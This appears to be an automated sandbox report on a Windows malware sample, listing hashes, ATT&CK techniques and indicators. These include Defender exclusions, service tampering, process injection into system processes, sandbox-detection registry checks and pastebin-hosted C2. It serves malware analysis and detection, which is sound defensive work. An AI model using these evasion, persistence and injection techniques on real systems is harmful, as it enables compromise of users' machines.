e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c

Analysis

max time kernel
150s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-11-2024 12:51

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General

Target

e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
Size

15.9MB
MD5

d3c16cede9b6e4ee304a0184328d313d
SHA1

bd82838a3cc343956ecce4d5051b510dd941de11
SHA256

e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c
SHA512

284c38ba1a8ce4120120eb89a8e17bcbb6c3d18874c189d65812e767a111883813163ab614d5de802b5ee2fe774143a84017399508c24ac061029828d3046f6b
SSDEEP

393216:fwibRRlK6/C+1ZDpHKG1cVWNEtW5I+L11k2OEin:f7RllK+LlaaSW5zL1ypEin

Score

10^/10

evasion execution persistence

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 2152 created 612 2152 powershell.EXE winlogon.exe
PID 1724 created 612 1724 powershell.EXE winlogon.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.EXEpowershell.EXE

pid process

3344 powershell.exe
3352 powershell.exe
1724 powershell.EXE
2152 powershell.EXE
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

description	pid	process	target process
PID 2152 created 612	2152	powershell.EXE	winlogon.exe
PID 1724 created 612	1724	powershell.EXE	winlogon.exe

pid	process
3344	powershell.exe
3352	powershell.exe
1724	powershell.EXE
2152	powershell.EXE

Drops file in Drivers directory 2 IoCs

Processes:

e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exeupdater.exe

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

5044 updater.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

28 pastebin.com
29 pastebin.com
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

Power Settings
T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

1840 powercfg.exe
4052 powercfg.exe
4824 powercfg.exe
2940 powercfg.exe
2976 powercfg.exe
2256 powercfg.exe
2856 powercfg.exe
4936 powercfg.exe

pid	process
5044	updater.exe

flow	ioc
28	pastebin.com
29	pastebin.com

pid	process
1840	powercfg.exe
4052	powercfg.exe
4824	powercfg.exe
2940	powercfg.exe
2976	powercfg.exe
2256	powercfg.exe
2856	powercfg.exe
4936	powercfg.exe

Drops file in System32 directory 15 IoCs

Processes:

OfficeClickToRun.exepowershell.exeupdater.exesvchost.exesvchost.exepowershell.EXEe4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	updater.exe
File opened for modification	C:\Windows\System32\Tasks\dialersvc64	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\MRT.exe	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exepowershell.EXEupdater.exepowershell.EXE

description	pid	process	target process
PID 4612 set thread context of 3860	4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 2152 set thread context of 1992	2152	powershell.EXE	dllhost.exe
PID 5044 set thread context of 1936	5044	updater.exe	dialer.exe
PID 5044 set thread context of 2284	5044	updater.exe	dialer.exe
PID 5044 set thread context of 692	5044	updater.exe	dialer.exe
PID 1724 set thread context of 5040	1724	powershell.EXE	dllhost.exe

Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

1592 sc.exe
796 sc.exe
4944 sc.exe
2748 sc.exe
2896 sc.exe
4428 sc.exe
2264 sc.exe
740 sc.exe
4796 sc.exe
1132 sc.exe
1184 sc.exe
4032 sc.exe
1692 sc.exe
3372 sc.exe

pid	process
1592	sc.exe
796	sc.exe
4944	sc.exe
2748	sc.exe
2896	sc.exe
4428	sc.exe
2264	sc.exe
740	sc.exe
4796	sc.exe
1132	sc.exe
1184	sc.exe
4032	sc.exe
1692	sc.exe
3372	sc.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

wmiprvse.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exedialer.exeOfficeClickToRun.exepowershell.EXEpowershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dialer.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={190ECAB3-FDB0-48D9-90A2-083C27695B48}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 21 Nov 2024 12:53:42 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dialer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1732193620"	OfficeClickToRun.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exepowershell.exepowershell.EXEupdater.exepowershell.exedllhost.exe

pid	process
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
3344	powershell.exe
3344	powershell.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe
2152	powershell.EXE
2152	powershell.EXE
5044	updater.exe
5044	updater.exe
5044	updater.exe
3352	powershell.exe
2152	powershell.EXE
1992	dllhost.exe
1992	dllhost.exe
3352	powershell.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
3352	powershell.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
3352	powershell.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
3352	powershell.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
1992	dllhost.exe
3352	powershell.exe
1992	dllhost.exe
1992	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.EXEpowershell.exedllhost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exedialer.exepowershell.EXEsvchost.exe

description	pid	process
Token: SeDebugPrivilege	3344	powershell.exe
Token: SeShutdownPrivilege	1840	powercfg.exe
Token: SeCreatePagefilePrivilege	1840	powercfg.exe
Token: SeShutdownPrivilege	4936	powercfg.exe
Token: SeCreatePagefilePrivilege	4936	powercfg.exe
Token: SeShutdownPrivilege	4052	powercfg.exe
Token: SeCreatePagefilePrivilege	4052	powercfg.exe
Token: SeShutdownPrivilege	4824	powercfg.exe
Token: SeCreatePagefilePrivilege	4824	powercfg.exe
Token: SeDebugPrivilege	2152	powershell.EXE
Token: SeDebugPrivilege	2152	powershell.EXE
Token: SeDebugPrivilege	3352	powershell.exe
Token: SeDebugPrivilege	1992	dllhost.exe
Token: SeShutdownPrivilege	2940	powercfg.exe
Token: SeCreatePagefilePrivilege	2940	powercfg.exe
Token: SeShutdownPrivilege	2256	powercfg.exe
Token: SeCreatePagefilePrivilege	2256	powercfg.exe
Token: SeShutdownPrivilege	2976	powercfg.exe
Token: SeCreatePagefilePrivilege	2976	powercfg.exe
Token: SeShutdownPrivilege	2856	powercfg.exe
Token: SeCreatePagefilePrivilege	2856	powercfg.exe
Token: SeLockMemoryPrivilege	692	dialer.exe
Token: SeDebugPrivilege	1724	powershell.EXE
Token: SeAssignPrimaryTokenPrivilege	2212	svchost.exe
Token: SeIncreaseQuotaPrivilege	2212	svchost.exe
Token: SeSecurityPrivilege	2212	svchost.exe
Token: SeTakeOwnershipPrivilege	2212	svchost.exe
Token: SeLoadDriverPrivilege	2212	svchost.exe
Token: SeSystemtimePrivilege	2212	svchost.exe
Token: SeBackupPrivilege	2212	svchost.exe
Token: SeRestorePrivilege	2212	svchost.exe
Token: SeShutdownPrivilege	2212	svchost.exe
Token: SeSystemEnvironmentPrivilege	2212	svchost.exe
Token: SeUndockPrivilege	2212	svchost.exe
Token: SeManageVolumePrivilege	2212	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2212	svchost.exe
Token: SeIncreaseQuotaPrivilege	2212	svchost.exe
Token: SeSecurityPrivilege	2212	svchost.exe
Token: SeTakeOwnershipPrivilege	2212	svchost.exe
Token: SeLoadDriverPrivilege	2212	svchost.exe
Token: SeSystemtimePrivilege	2212	svchost.exe
Token: SeBackupPrivilege	2212	svchost.exe
Token: SeRestorePrivilege	2212	svchost.exe
Token: SeShutdownPrivilege	2212	svchost.exe
Token: SeSystemEnvironmentPrivilege	2212	svchost.exe
Token: SeUndockPrivilege	2212	svchost.exe
Token: SeManageVolumePrivilege	2212	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2212	svchost.exe
Token: SeIncreaseQuotaPrivilege	2212	svchost.exe
Token: SeSecurityPrivilege	2212	svchost.exe
Token: SeTakeOwnershipPrivilege	2212	svchost.exe
Token: SeLoadDriverPrivilege	2212	svchost.exe
Token: SeSystemtimePrivilege	2212	svchost.exe
Token: SeBackupPrivilege	2212	svchost.exe
Token: SeRestorePrivilege	2212	svchost.exe
Token: SeShutdownPrivilege	2212	svchost.exe
Token: SeSystemEnvironmentPrivilege	2212	svchost.exe
Token: SeUndockPrivilege	2212	svchost.exe
Token: SeManageVolumePrivilege	2212	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2212	svchost.exe
Token: SeIncreaseQuotaPrivilege	2212	svchost.exe
Token: SeSecurityPrivilege	2212	svchost.exe
Token: SeTakeOwnershipPrivilege	2212	svchost.exe
Token: SeLoadDriverPrivilege	2212	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exee4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 3044 wrote to memory of 4884	3044	cmd.exe	wusa.exe
PID 3044 wrote to memory of 4884	3044	cmd.exe	wusa.exe
PID 4612 wrote to memory of 3860	4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 4612 wrote to memory of 3860	4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 4612 wrote to memory of 3860	4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 4612 wrote to memory of 3860	4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 4612 wrote to memory of 3860	4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 4612 wrote to memory of 3860	4612	e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe	dialer.exe
PID 2152 wrote to memory of 1992	2152	powershell.EXE	dllhost.exe
PID 2152 wrote to memory of 1992	2152	powershell.EXE	dllhost.exe
PID 2152 wrote to memory of 1992	2152	powershell.EXE	dllhost.exe
PID 2152 wrote to memory of 1992	2152	powershell.EXE	dllhost.exe
PID 2152 wrote to memory of 1992	2152	powershell.EXE	dllhost.exe
PID 2152 wrote to memory of 1992	2152	powershell.EXE	dllhost.exe
PID 2152 wrote to memory of 1992	2152	powershell.EXE	dllhost.exe
PID 2152 wrote to memory of 1992	2152	powershell.EXE	dllhost.exe
PID 1992 wrote to memory of 612	1992	dllhost.exe	winlogon.exe
PID 1992 wrote to memory of 672	1992	dllhost.exe	lsass.exe
PID 1992 wrote to memory of 936	1992	dllhost.exe	svchost.exe
